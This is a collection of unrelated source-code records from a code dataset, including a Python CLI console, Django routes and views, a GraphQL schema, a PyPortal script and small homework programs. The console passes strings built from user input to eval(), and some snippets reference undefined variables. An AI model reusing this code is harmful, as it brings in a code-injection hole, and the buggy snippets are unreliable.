\"Piper\",\n \"PitBull\",\n \"Po-Boy\",\n \"PocketPunk\",\n \"Pokie\",\n \"Pollux\",\n \"Polymath\",\n \"PopTart\",\n \"Potato\",\n \"PottyMouth\",\n \"Prana\",\n \"Princess\",\n \"Prunetucky\",\n \"Pucker-Up\",\n \"Pudding\",\n \"Pumpkin\",\n \"Quandary\",\n \"Queen SOL\",\n \"Quincy\",\n \"Raconteur\",\n \"Rat Bastard\",\n \"Razberry\",\n \"Ready\",\n \"Recall\",\n \"Red Raven\",\n \"Red Vixen\",\n \"Redeye\",\n \"Reject\",\n \"RezzAble\",\n \"Rhino\",\n \"Ric\",\n \"Ricky San\",\n \"Riffraff\",\n \"RoadRash\",\n \"Rockhound\",\n \"Rocky\",\n \"Ronin\",\n \"Rooster\",\n \"Roslyn\",\n \"Sabre\",\n \"Safety Phil\",\n \"Safeword\",\n \"Salsero\",\n \"Samba\",\n \"Sandy Claws\",\n \"Santa Cruz\",\n \"Sasquatch\",\n \"Saturn\",\n \"Scalawag\",\n \"Scalpel\",\n \"SciFi\",\n \"ScoobyDoo\",\n \"Scooter\",\n \"Scoutmaster\",\n \"Scuttlebutt\",\n \"Segovia\",\n \"Sequoia\",\n \"Sharkbite\",\n \"Sharpstick\",\n \"Shawnee\",\n \"Shenanigans\",\n \"Shiho\",\n \"Shizaru\",\n \"Shrek\",\n \"Shutterbug\",\n \"Silent Wolf\",\n \"SilverHair\",\n \"Sinamox\",\n \"Sintine\",\n \"Sir Bill\",\n \"Skirblah\",\n \"Sledgehammer\",\n \"SlipOn\",\n \"Smithers\",\n \"Smitty\",\n \"Smores\",\n \"Snappy\",\n \"Snowboard\",\n \"Snuggles\",\n \"SpaceCadet\",\n \"Spadoinkle\",\n \"Spastic\",\n \"Spike Brown\",\n \"Splinter\",\n \"Sprinkles\",\n \"Starfish\",\n \"Stella\",\n \"Sticky\",\n \"Stitch\",\n \"Stonebeard\",\n \"Strider\",\n \"Strobe\",\n \"Strong Tom\",\n \"Subway\",\n \"Sunbeam\",\n \"Sundancer\",\n \"SuperCraig\",\n \"Sweet Tart\",\n \"Syncopate\",\n \"T Rex\",\n \"TSM\",\n \"Tabasco\",\n \"Tagalong\",\n \"Tahoe\",\n \"Tango Charlie\",\n \"Tanuki\",\n \"Tao Skye\",\n \"Tapestry\",\n \"Teardrop\",\n \"Teksage\",\n \"Tempest\",\n \"Tenderfoot\",\n \"The Hamptons\",\n \"Thirdson\",\n \"Thunder\",\n \"Tic Toc\",\n \"TikiDaddy\",\n \"Tinkerbell\",\n \"Toecutter\",\n \"TomCat\",\n \"Tool\",\n \"Toots\",\n \"Trailer Hitch\",\n \"Tranquilitea\",\n \"Treeva\",\n \"Triumph\",\n \"Tryp\",\n \"Tuatha\",\n \"Tuff (e.nuff)\",\n \"Tulsa\",\n \"Tumtetum\",\n \"Turnip\",\n \"Turtle Dove\",\n \"Tuxedo\",\n \"Twilight\",\n \"Twinkle Toes\",\n \"Twisted Cat\",\n \"Two-Step\",\n \"Uncle Dave\",\n \"Uncle John\",\n \"Urchin\",\n \"Vegas\",\n \"Verdi\",\n \"Vertigo\",\n \"Vichi Lobo\",\n \"Victrolla\",\n \"Viking\",\n \"Vishna\",\n \"Vivid\",\n \"Voyager\",\n \"Wasabi\",\n \"Wavelet\",\n \"Wee Heavy\",\n \"Whipped Cream\",\n \"Whoop D\",\n \"Wicked\",\n \"Wild Fox\",\n \"Wild Ginger\",\n \"Wingspan\",\n \"Wotan\",\n \"Wunderpants\",\n \"Xplorer\",\n \"Xtevan\",\n \"Xtract\",\n \"Yeti\",\n \"Zeitgeist\",\n \"Zero Hour\",\n \"biteme\",\n \"caramel\",\n \"daMongolian\",\n \"jedi\",\n \"k8\",\n \"longshot\",\n \"mindscrye\",\n \"natural\",\n \"ultra\",\n)\n\n\nnoDatabase = object()\n","sub_path":"Server/ims/dms.py","file_name":"dms.py","file_ext":"py","file_size_in_byte":13286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"181101162","text":"\"\"\"\nThis script will allow simple logging to a file.\n\"\"\"\nfrom __future__ import print_function\nimport datetime\n\n\ndef log_setup(log_file_path, log_type):\n \"\"\"\n This function will start of the log file operation and should be called first in a parent\n script.\n :param log_file_path: The path and filename of the log file\n :param log_type: Whether a new file should be created or just append to an existing one\n This will be either 'new' or 'append'\n \"\"\"\n if log_type == 'new':\n f = open(log_file_path, 'w')\n file_output = 'Logging started at ' + str(datetime.datetime.now()) + '\\n'\n f.write(file_output)\n f.close()\n elif log_type == 'append':\n f = open(log_file_path, 'a')\n file_output = 'Logging started at ' + str(datetime.datetime.now()) + '\\n'\n f.write(file_output)\n f.close()\n\n\ndef write_log(log_file_path, log_content):\n \"\"\"\n This function opens the log file, writes the supplied content and closes it again\n :param log_file_path: The path and filename of the log file\n :param log_content: The content to be written to the log file\n \"\"\"\n f = open(log_file_path, mode='a')\n file_output = str(datetime.datetime.now()).ljust(31, ' ') + log_content + '\\n'\n f.write(file_output)\n f.close()\n\n\ndef main():\n #Test the logging functionality using the main function\n \"\"\"\n A test function if the script is run in isolation\n \"\"\"\n log_file_path = 'C:\\\\Temp\\\\log-file.txt'\n log_content = 'Problem with artifact A'\n log_setup(log_file_path, 'new')\n write_log(log_file_path, log_content)\n log_content = 'Problem with artifact B'\n write_log(log_file_path, log_content)\n print('The file ' + log_file_path + ' has been updated.'.ljust(35, ' '))\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"glogger.py","file_name":"glogger.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"527860076","text":"import os\nimport pylab as pl\nimport numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nos.system(\"clear\")\n\nfig = pl.figure()\naxx = Axes3D(fig)\nX = np.arange(-10, 10, 0.25)\nY = np.arange(-10, 10, 0.25)\nX, Y = np.meshgrid(X, Y)\nAx, Ay = 0.5 , 0.5\n\nprint(axs)\nprint(ays)\nZ = np.sqrt(abs(X ** 3 + Y ** 3))\n\naxx.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=pl.cm.hot)\naxx.contourf(X, Y, Z, zdir='z', offset=-2, cmap=pl.cm.hot)\naxx.set_zlim(-2, 2)\n\npl.show()","sub_path":"Archivos Python Documentos/Graficas/.history/tierras_20200219113207.py","file_name":"tierras_20200219113207.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"368862888","text":"#!/usr/bin/python3\n\"\"\" Console for the airbnb program \"\"\"\nimport cmd\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\nfrom models.user import User\nfrom models.place import Place\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.review import Review\nfrom models import storage\nimport json\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\" class of console commands \"\"\"\n prompt = \"(hbnb) \"\n classes = [\"BaseModel\", \"User\", \"State\", \"City\",\n \"Amenity\", \"Place\", \"Review\"]\n\n def do_EOF(self, args):\n \"\"\" Exit the program \"\"\"\n print()\n return True\n\n def do_quit(self, args):\n \"\"\"Quit command to exit the program\"\"\"\n return True\n\n def emptyline(self):\n \"\"\" Nothing going on \"\"\"\n pass\n\n def do_create(self, args):\n \"\"\" Creates instances of class \"\"\"\n if not args:\n print(\"** class name missing **\")\n elif args not in self.classes:\n print(\"** class doesn't exist **\")\n else:\n new = eval(args)()\n print(new.id)\n new.save()\n\n def do_show(self, args):\n \"\"\" Str representation of instances \"\"\"\n i = args.split()\n if not args:\n print(\"** class name missing **\")\n return\n elif i[0] not in self.classes:\n print(\"** class doesn't exist **\")\n return\n elif len(i) == 1:\n print(\"** instance id missing **\")\n return\n key_search = \"{}.{}\".format(i[0], i[1])\n if key_search not in storage.all().keys():\n print(\"** no instance found **\")\n else:\n new_obj = storage.all()\n print(\"[{}] ({}) {}\".format(i[0], i[1], new_obj[key_search]))\n\n def do_destroy(self, args):\n \"\"\" Deletes instances based on ID \"\"\"\n i = args.split()\n if not args:\n print(\"** class name missing **\")\n return\n elif i[0] not in self.classes:\n print(\"** class doesn't exist **\")\n return\n elif len(i) == 1:\n print(\"** instance id missing **\")\n return\n key_search = \"{}.{}\".format(i[0], i[1])\n if key_search not in storage.all().keys():\n print(\"** no instance found **\")\n else:\n new_obj = storage.all()\n del new_obj[key_search]\n with open(\"file.json\", mode='r') as my_file:\n json_data = json.load(my_file)\n del json_data[key_search]\n with open(\"file.json\", mode='w') as my_f:\n my_f.write(json.dumps(json_data))\n\n def do_all(self, args):\n \"\"\" Prints all the str representation of the instances \"\"\"\n list_obj = []\n new_obj = storage.all()\n if args and args not in self.classes:\n print(\"** class doesn't exist **\")\n return\n if args in self.classes:\n for key, value in new_obj.items():\n if args in key:\n split_key = key.split(\".\")\n new_key = \"[\" + split_key[0] + \"] (\" + split_key[1] + \")\"\n\n list_obj.append(new_key + \" \" + str(value))\n else:\n for key, value in new_obj.items():\n list_obj.append(str(key) + \" \" + str(value))\n print(list_obj)\n\n def do_update(self, args):\n \"\"\"\n Updates an instance based on the class name and\n id by adding or updating attribute\n \"\"\"\n i = args.split()\n if not args:\n print(\"** class name missing **\")\n return\n elif i[0] not in self.classes:\n print(\"** class doesn't exist **\")\n return\n elif len(i) == 1:\n print(\"** instance id missing **\")\n return\n key_search = \"{}.{}\".format(i[0], i[1])\n if key_search not in storage.all().keys():\n print(\"** no instance found **\")\n return\n if len(i) == 2:\n print(\"** attribute name missing **\")\n return\n if len(i) == 3:\n print(\"** value missing **\")\n return\n for key, value in storage.all().items():\n if key == key_search:\n new_value = value.__dict__\n for key2 in new_value.keys():\n if key2 == i[2]:\n new_value[key2] = i[3].strip('\"')\n return\n new_value[i[2]] = i[3].strip('\"')\n return\n\n def do_count(self, args):\n \"\"\" Prints amount of instances of a class \"\"\"\n count = 0\n if args in self.classes:\n instances = storage.all()\n for key in instances.keys():\n class_n = key.split(\".\")\n if class_n[0] == args:\n count += 1\n print(count)\n\n def default(self, args):\n \"\"\" Default \"\"\"\n functs = {'all': 'do_all', 'show': 'do_show', 'update': 'do_update',\n 'destroy': 'do_destroy', 'count': 'do_count'}\n splits = args.split(\".\")\n class_name = splits[0]\n class_name.capitalize()\n if class_name in self.classes:\n rest = splits[1]\n diction = False\n if any(\"{\" in elem for elem in rest):\n diction = True\n remove = ['(', ')', ',', '\"', '{', '}', ':', \"'\"]\n for i in remove:\n rest = rest.replace(i, ' ')\n elements = rest.split()\n if len(elements) == 1:\n for key, value in functs.items():\n if key == elements[0]:\n funct = 'self.' + value + '(\"' + class_name + '\")'\n eval(funct)\n elif len(elements) == 2:\n for key, value in functs.items():\n if key == elements[0]:\n funct = 'self.' + value + '(\"' + class_name + ' '\\\n + elements[1] + '\")'\n eval(funct)\n elif len(elements) >= 3:\n # if len(elements) == 3:\n attrs = elements[2:]\n att = 0\n val = 1\n s = 'self.'\n e = ' '\n for key, value in functs.items():\n if key == elements[0]:\n for elems in range(len(attrs)):\n if diction is False:\n funct = s + value + '(\"' + class_name + e\\\n + elements[1] + e + attrs[att]\\\n + e + attrs[val] + '\")'\n eval(funct)\n break\n else:\n funct = s + value + '(\"' + class_name\\\n + e + elements[1] + e + attrs[att]\\\n + e + attrs[val] + '\")'\n eval(funct)\n if att + 2 < len(attrs):\n att += 2\n else:\n break\n if val + 2 < len(attrs):\n val += 2\n\n else:\n print(\"*** Unknown syntax: {}\".format(args))\n\n\nif __name__ == \"__main__\":\n HBNBCommand().cmdloop()\n","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":7605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"364950663","text":"\"\"\"\nPyPortal AQI\n\"\"\"\n\nimport time\nimport json\nimport board\nimport displayio\nimport neopixel\nfrom adafruit_pyportal import PyPortal\nfrom adafruit_display_shapes.rect import Rect\nfrom adafruit_display_text.label import Label\nfrom adafruit_bitmap_font import bitmap_font\n\ntry:\n from secrets import secrets\nexcept ImportError:\n print(\"\"\"WiFi settings are kept in secrets.py, please add them there!\nthe secrets dictionary must contain 'ssid' and 'password' at a minimum\"\"\")\n raise\n\n#Enter Air Now API and your location and delay between refreshes in seconds below. \nAIRNOWAPIKEY =\"\"\nLAT = \"XX.XXXX\"\nLON = \"XX.XXXX\"\nrefreshtime = 600\n#pylint:disable=line-too-long\naqiurl =\"http://www.airnowapi.org/aq/observation/latLong/current/?format=application/json&latitude=\"+LAT+\"&longitude=\"+LON+\"&distance=25&API_KEY=\"+AIRNOWAPIKEY\n#pylint:enable=line-too-long\n\nMARGIN = 10\nSPACE_BETWEEN_BARS = 1\n\nCOLORS = [0x00FF00, 0x00e400, 0xffff00,\n 0xff7e00, 0xff0000, 0x8f3f97,\n 0x7e0023]\n\ncwd = (\"/\"+__file__).rsplit('/', 1)[0]\n\n#CAPTION_FONT_FILE = cwd+'/fonts/Helvetica-Bold-16.bdf'\nCAPTION_FONT_FILE = cwd+'/fonts/HelveticaNeue-24.bdf'\n#CAPTION_FONT_FILE = cws+'/Helvetica-Bold-100.bdf'\n#AQI_FONT_FILE = cwd+'/fonts/Arial-Bold-12.bdf'\nAQI_FONT_FILE = cwd+'/fonts/HelveticaNeue-24.bdf'\nFOOTER_FONT_FILE = cwd+'/fonts/HelveticaNeueMedium-12.bdf'\n\n#pyportal = PyPortal(url=aqiurl,\n# status_neopixel=board.NEOPIXEL,\n# default_bg=0x000000,\n# caption_font=CAPTION_FONT_FILE)\n\npyportal = PyPortal(url=aqiurl,\n default_bg=0x000000,\n caption_font=CAPTION_FONT_FILE)\n\n\ncanvas = displayio.Group(max_size=36)\npyportal.splash.append(canvas)\nAQI_font = bitmap_font.load_font(AQI_FONT_FILE)\nFooter_font = bitmap_font.load_font(FOOTER_FONT_FILE)\n\nstatus_light = neopixel.NeoPixel(board.NEOPIXEL, 1, brightness=0.1)\nstatus_light[0] = (00, 0, 00)\n#status_light[0] = (30, 00, 00, 10)\n\nwhile True:\n worst = 0\n json_payload = ''\n try:\n json_payload = pyportal.fetch()\n raw_data = json.loads(json_payload)\n except (ValueError, RuntimeError) as ex:\n print('Error: ', ex)\n if isinstance(ex, ValueError):\n print('JSON:', json_payload)\n print('Retrying in 10 minutes')\n time.sleep(600)\n continue\n \n while len(canvas) > 0:\n canvas.pop()\n pyportal.set_caption(('Air Quality Index'),\n (70, 20),\n 0xFFFFFF)\n \n xpos = 20\n ypos = 80\n print ('Name\\tAQI\\tCat.\\tCatNum')\n for item in raw_data:\n print(\"{}\\t{}\\t{}\\t{}\".format(item['ParameterName'],item['AQI'],item['Category']['Name'],item['Category']['Number']))\n aqidata = str(item['ParameterName'])+': '+str(item['AQI'])+' '+str(item['Category']['Name'])\n aqicolor = (COLORS[item['Category']['Number']])\n aqi_label = Label(AQI_font, text=aqidata, color=aqicolor, x=xpos, y=ypos)\n canvas.append(aqi_label)\n ypos=ypos+40\n #get and store the highest value AQI in worst. \n if int(item['Category']['Number']) > worst:\n worst = int(item['Category']['Number'])\n \n status_light[0] = COLORS[worst]\n print ('LED color set to ' + str(COLORS[worst]))\n\n footertext = \"Observed in \" + item['ReportingArea'] + \" around \" + str(item['HourObserved']) + \":00 on \" + str(item['DateObserved'])\n footer_label = Label(Footer_font, text=footertext, color=0xFFFFFF, x=5, y=225)\n canvas.append(footer_label)\n \n print (footertext)\n \n # sleep awhile before re-running/refreshing.\n time.sleep(refreshtime) \n","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"394539678","text":"from django.conf.urls import url # This gives us access to the function url\nfrom . import views # This explicitly imports views.py from the current folder\n\n# Uses the url method in a way that's very similar to the @app.route method in flask. The r after the ( tells Python to interpret the following as a raw string, so it won't escape any special characters -- useful when dealing with regex strings!\nurlpatterns = [\n url(r'^$', views.index), # following comments are using \"users\" shorthand for \"semi_restful_users\"\n url(r'^semi_restful_users$', views.index), # render 'users/index.html'\n url(r'^semi_restful_users/new$', views.new), # render 'users/create.html'\n url(r'^semi_restful_users/create$', views.create), # if error: redirect '/users/new', else: redirect '/users'\n url(r'^semi_restful_users/(?P\\d+)$', views.show), # render 'users/show.html'\n url(r'^semi_restful_users/(?P\\d+)/edit$', views.edit), # render 'users/update.html'\n url(r'^semi_restful_users/(?P\\d+)/update$', views.update), # if error: redirect '/users/{}/edit'.format(user_id), else: redirect '/users'\n url(r'^semi_restful_users/(?P\\d+)/destroy$', views.destroy), # redirect /users\n # User.objects.get(id=user_id).delete()\n]\n\n# Have 7 routes. Because we are working with 'users', they might look like:\n# GET request to /users - calls the index method to display all the users. This will need a template.\n# GET request to /users/new - calls the new method to display a form allowing users to create a new user. This will need a template.\n# GET request /users//edit - calls the edit method to display a form allowing users to edit an existing user with the given id. This will need a template.\n# GET /users/ - calls the show method to display the info for a particular user with given id. This will need a template.\n# POST to /users/create - calls the create method to insert a new user record into our database. This POST should be sent from the form on the page /users/new. Have this redirect to /users/ once created.\n# GET /users//destroy - calls the destroy method to remove a particular user with the given id. Have this redirect back to /users once deleted.\n# POST /users/ - calls the update method to process the submitted form sent from /users//edit. Have this redirect to /users/ once updated.\n","sub_path":"Python-Oct-2017/Django/Semi_Restful_Users/apps/semi_restful_users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"130907163","text":"import strawberry\nfrom typing import Optional, List\nfrom strawberry_django_plus import relay, gql\n\n# from django.utils.translation import gettext_lazy as _\nfrom strawberry.types import Info\n\n\nfrom .arguments import AuthList\nfrom ..utils.auth import get_cached_result\nfrom .definitions import (\n ClusterFilter,\n ClusterNode,\n ContentFilter,\n ContentNode,\n SecretgraphConfig,\n)\nfrom .mutations import (\n ClusterMutation,\n mutate_cluster,\n delete_content_or_cluster,\n reset_deletion_content_or_cluster,\n ContentMutation,\n mutate_content,\n mutate_push_content,\n mutate_transfer,\n regenerate_flexid,\n update_metadata,\n mark,\n TransferMutation,\n DeleteContentOrClusterMutation,\n MetadataUpdateMutation,\n PushContentMutation,\n RegenerateFlexidMutation,\n ResetDeletionContentOrClusterMutation,\n MarkMutation,\n)\n\nfrom .subscriptions import subscribe_node_updates, NodeUpdateSubscription\n\n\n@strawberry.type\nclass SecretgraphObject:\n node: Optional[relay.Node] = gql.django.node()\n\n @gql.django.connection()\n @gql.django.django_resolver\n def clusters(\n self, info: Info, filters: ClusterFilter\n ) -> List[ClusterNode]:\n return ClusterNode.get_queryset_intern(info, filters)\n\n @gql.django.connection()\n @gql.django.django_resolver\n def contents(\n self, info: Info, filters: ContentFilter\n ) -> List[ContentNode]:\n return ContentNode.get_queryset_intern(info, filters)\n\n config: SecretgraphConfig = strawberry.field(default=SecretgraphConfig())\n\n\n@gql.type\nclass Query:\n @strawberry.field\n @gql.django.django_resolver\n @staticmethod\n def secretgraph(\n info: Info, authorization: Optional[AuthList] = None\n ) -> SecretgraphObject:\n f = get_cached_result(info.context.request, authset=authorization)\n f[\"Content\"]\n f[\"Cluster\"]\n return SecretgraphObject\n\n\n@gql.type\nclass Mutation:\n updateOrCreateContent: ContentMutation = gql.django.input_mutation(\n resolver=mutate_content,\n description=(\n \"Supports creation or update of:\\n\"\n \" public key or key-pair (key): used for further encryption.\\n\"\n \" content (value): a content encrypted by public key except \"\n \"public\"\n ),\n )\n updateOrCreateCluster: ClusterMutation = gql.django.input_mutation(\n resolver=mutate_cluster,\n description=(\n \"Create a cluster, optionally initialize with a key-(pair)\"\n ),\n )\n\n deleteContentOrCluster: DeleteContentOrClusterMutation = (\n gql.django.input_mutation(resolver=delete_content_or_cluster)\n )\n resetDeletionContentOrCluster: ResetDeletionContentOrClusterMutation = (\n gql.django.input_mutation(resolver=reset_deletion_content_or_cluster)\n )\n regenerateFlexid: RegenerateFlexidMutation = gql.django.input_mutation(\n resolver=regenerate_flexid\n )\n updateMetadata: MetadataUpdateMutation = gql.django.input_mutation(\n resolver=update_metadata\n )\n updateMarks: MarkMutation = gql.django.input_mutation(resolver=mark)\n pushContent: PushContentMutation = gql.django.input_mutation(\n resolver=mutate_push_content\n )\n\n transferContent: TransferMutation = gql.django.input_mutation(\n resolver=mutate_transfer\n )\n\n\n@gql.type\nclass Subscription:\n subscribeNodeUpdates: NodeUpdateSubscription = strawberry.subscription(\n resolver=subscribe_node_updates\n )\n","sub_path":"secretgraph/server/schema/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"350500276","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 10 17:45:54 2021\n\n@author: 张瑞娟\n\"\"\"\n\nimport instance.Instance as Ins\nimport algorithm.InitialSolution as Init\nimport algorithm.MyALNSProcess as Process\n\n'''\n \n'''\ndef main():\n insType = 'solomon'\n size = 25\n name = 'C101'\n\n instance = Ins.ImportData(insType, size, name)\n initialSol = Init.InitialSolution(instance)\n #initialSolution = initialSol.getInitialSolution()\n\n operation = Process.Process(instance, initialSol)\n globalSol = operation.iteration()\n #bestVal = operation.bestVal\n print('globalSol:', globalSol)\n\n # print('最优值:')\n # for i in bestVal:\n # print(i)\n\n # print('最优解' + globalSol)\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"56880593","text":"NOTE_LETTERS = [\"C\", \"D\", \"E\", \"F\", \"G\", \"A\", \"B\"]\nNOTE_NUMBERS = [60, 62, 64, 65, 67, 69, 71]\nMAJOR_SCALE_INTERVALS = [2, 2, 1, 2, 2, 2, 1]\nMINOR_SCALE_INTERVALS = [2, 1, 2, 2, 1, 2, 2]\n\n\n\ndef note_to_int(note):\n\n\tnoteInteger = 0\n\ti = 0\n\n\tfor i in range(len(NOTE_LETTERS)):\n\n\t\tif note[0] == NOTE_LETTERS[i]:\n\t\t\tnoteInteger = NOTE_NUMBERS[i]\n\t\t\tif note[1] == \"#\":\n\t\t\t\tnoteInteger += 1\n\t\t\telif note[1] == \"b\":\n\t\t\t\tnoteInteger -= 1\n\t\ti += 1\n\n\tif note not in NOTE_LETTERS:\n\t\tnoteInteger = -1\n\n\treturn noteInteger\n\n\n\ndef note_to_scale(note, type):\n\n\tnewScale = []\n\ti = 0\n\n\tif type == \"minor\":\n\t\tfor i in range(len(MINOR_SCALE_INTERVALS)):\n\t\t\tscaledInteger = note + MINOR_SCALE_INTERVALS[i]\n\t\t\tnewScale.append(adjustedInteger)\n\t\t\ti += 1\n\n\tif type == \"major\":\n\t\tfor i in range(len(MAJOR_SCALE_INTERVALS)):\n\t\t\tscaledInteger = note + MAJOR_SCALE_INTERVALS[i]\n\t\t\tnewScale.append(adjustedInteger)\n\n\treturn newScale\n\n\n\ndef print_menu():\n\n\tprint(\"Main Menu:\")\n\tprint(\"1. Play notes\")\n\tprint(\"2. Plat scale\")\n\tprint(\"3. Quit:\")\n\n\n\ndef get_menu_choice():\n\n\twhile True:\n\t\tmenuChoice = int(input(\"Please enter a selection:\\n\"))\n\t\tif menuChoice == 1 or menuChoice == 2 or menuChoice == 3:\n\t\t\treturn menuChoice\n\t\telse:\n\t\t\tpass\n\n\n\ndef get_notes():\n\n\tnoteInput = input(\"Please enter a sequence of notes separated by spaces:\\n\")\n\tnoteList = list(noteInput)\n\tintegerList = []\n\ti = 0\n\n\tfor i in range(len(noteList)):\n\t\tnoteInteger = note_to_int(noteList[i])\n\t\tif noteInteger == -1:\n\t\t\tpass\n\t\telse:\n\t\t\tintegerList.append(noteInteger)\n\t\ti += 1\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"CECS174Homework3/HW3.py","file_name":"HW3.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"318567087","text":"#!/usr/bin/python3 -u\n\nimport json\nimport os\nimport os.path\nimport requests\nimport requests_cache\nimport sys\nimport time\n\nrequests_cache.install_cache(\"lkft-reporting\")\n\nbranches = {\"mainline\": {\"group\": \"lkft\", \"slug\": \"linux-mainline-oe\"}}\n\n\ndef urljoiner(*args):\n \"\"\"\n Joins given arguments into an url. Trailing but not leading slashes are\n stripped for each argument.\n \"\"\"\n return \"/\".join(map(lambda x: str(x).rstrip(\"/\"), args))\n\n\nclass qareports:\n def __init__(self, group_slug, project_slug, url=\"https://qa-reports.linaro.org\"):\n self.api_endpoint = urljoiner(url, \"api\")\n self.group = self._get_group(group_slug)\n self.project = self._get_project(project_slug)\n\n\n def _get_group(self, group_slug):\n \"\"\" Given a group slug, retrieve the group object \"\"\"\n url = urljoiner(self.api_endpoint, \"groups/?slug={}\".format(group_slug))\n result = list(self.get_objects(url))\n if len(result) < 1:\n sys.exit(\"Error: no group named {} found at {}\".format(group_slug, url))\n if len(result) > 1:\n sys.exit(\"Error: More than one group name matched {} at {}\".format(group_slug, url))\n return result[0]\n\n def _get_project(self, project_slug):\n \"\"\" Given a project slug, retrieve the project object \"\"\"\n url = urljoiner(self.api_endpoint, \"projects/?slug={}&group={}\".format(project_slug, self.group['id']))\n result = list(self.get_objects(url))\n if len(result) < 1:\n sys.exit(\"Error: no project named {} found at {}\".format(project_slug, url))\n if len(result) > 1:\n sys.exit(\"Error: More than one project name matched {} at {}\".format(project_slug, url))\n return result[0]\n\n\n def get_url(self, url, retries=3):\n print(url)\n r = requests.get(url)\n try:\n r.raise_for_status()\n except:\n if retries <= 0:\n raise\n print(\"Retrying {}\".format(url))\n time.sleep(30)\n return self.get_url(url, retries=retries - 1)\n return r\n\n def get_object(self, url, cache=True):\n \"\"\"\n Retrieve a url.\n \"\"\"\n\n result = self.get_url(url).json()\n\n return result\n\n def get_objects(self, url):\n \"\"\"\n Retrieve all objects\n\n Expects a url with 'count', 'next', 'results' fields.\n \"\"\"\n r = self.get_url(url)\n for obj in r.json()[\"results\"]:\n yield self.get_object(obj[\"url\"])\n if r.json()[\"next\"] is not None:\n yield from self.get_objects(r.json()[\"next\"])\n\n @property\n def builds(self):\n ''' Return a build generator '''\n return self.get_objects(urljoiner(self.api_endpoint, \"projects\", self.project['id'], 'builds'))\n\n def status(self, build_id):\n \"\"\" Given a build ID, return a status object \"\"\"\n return self.get_object(urljoiner(self.api_endpoint, \"builds\", build_id, 'status'))\n\n def get_leaf_objects(self, url):\n \"\"\"\n Retrieve objects which are paged and collapse into a single list.\n \"\"\"\n\n result = self.read_from_cache(url)\n if result is not None:\n return result\n\n results = []\n r = self.get_url(url)\n for obj in r.json()[\"results\"]:\n results.append(obj)\n while r.json()[\"next\"] is not None:\n r = self.get_url(r.json()[\"next\"])\n for obj in r.json()[\"results\"]:\n results.append(obj)\n\n self.save_to_cache(url, results)\n return results\n\n\nif __name__ == \"__main__\":\n for branch_name, branch_values in branches.items():\n client = qareports(branch_values['group'], branch_values['slug'])\n for build in client.builds:\n status = client.status(build['id'])\n total_tests = status['tests_pass']+status['tests_fail']+status['tests_xfail']\n print(total_tests)\n\n","sub_path":"work/lkft-chartjs/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":3936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"33478631","text":"# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*-\n#\n# Copyright (C) 2013\n#\n# Author: Daniel Chapman daniel@chapman-mail.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as published by\n# the Free Software Foundation; version 3.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with this program. If not, see .\n\nvisible_options = ['use_device', 'use_device_desc',\n 'use_crypto', 'use_crypto_desc', 'use_lvm', 'use_lvm_desc',\n 'custom_partitioning', 'custom_partitioning_desc']\n\nhidden_options = ['reuse_partition', 'reuse_partition_desc',\n 'resize_use_free', 'resize_use_free_desc',\n 'replace_partition', 'replace_partition_desc']\n","sub_path":"autopilot/ubiquity_autopilot_tests/configs/lvm_install.py","file_name":"lvm_install.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"519924288","text":"from django.contrib.auth import login\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import EmailMessage\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.template.loader import render_to_string\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\nfrom django.views import generic\nimport subprocess\n\nfrom Project_RSwTA.forms import SignUpForm\nfrom Project_RSwTA.utils import render_to_pdf\nfrom .models import *\nfrom .tokens import account_activation_token\n\n\ndef signup(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.save()\n current_site = 